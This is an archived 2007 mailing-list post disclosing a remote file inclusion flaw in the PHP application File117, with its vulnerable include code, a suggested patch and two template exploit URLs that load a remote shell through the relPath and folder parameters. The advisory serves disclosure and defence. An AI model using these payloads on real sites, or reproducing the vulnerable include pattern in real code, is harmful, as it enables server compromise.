Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Vuln-Dev
[Top] [All Lists]
<prev [Date] next>
[Advanced]
 <prev [Thread] next>

File117 Remote File Inclusion

from [InyeXion] Network Security [Permanent Link]
Subject: File117 Remote File Inclusion
Date: 22 Apr 2007 18:50:14 -0000 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                         File117 Remote File Inclusion
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          Affected Software .: File117
                          Download..: 
http://www.sinato.com/jmuffin/upload/file117.zip
                          Risk ..............: high                             
 
                          Found by ..........: InyeXion                         
                         
                          Contact ...........: InyeXion[at]gmail.com    
                          Web .............: Www.InyeXion.com.ar                
               
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

     Affected File:                                                             
   
/html/php/detail.php

 Vulnerable Code:

<?php
include_once("phpInterface.php");
$$cmname=$cm;
include($relPath.$folder."/".$templatename);
?>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Exploit:
                                                                      
    http://[target]/html/php/detail.php?relPath=[shell]? 
    http://[target]/html/php/detail.php?folder=[shell]? 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Fixed bug:

if((isset($_REQUEST['relPath'])  || isset($_GET['relPath']) || 
isset($_POST['relPath'])) && !defined("relPath")){
die("denied access"); }

AND

if((isset($_REQUEST['folder'])  || isset($_GET['folder']) || 
isset($_POST['folder'])) && !defined("folder")){
die("denied access"); }

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[More messages with this same subject...]




<Prev in Thread] Current Thread [Next in Thread>
  • File117 Remote File Inclusion, InyeXion <=
Previous by Date:  PHPMyBibli <= Multiple Remote File Include, Mohandko
Next by Date:  Ripe Website Manager (<= 0.8.4) - SQL Injection Vulnerability and Cross-Site Scripting Exploit, john
Previous by Thread:  PHPMyBibli <= Multiple Remote File Include, Mohandko
Next by Thread:  Ripe Website Manager (<= 0.8.4) - SQL Injection Vulnerability and Cross-Site Scripting Exploit, john
Indexes:  [Date] [Thread] [Top] [All Lists]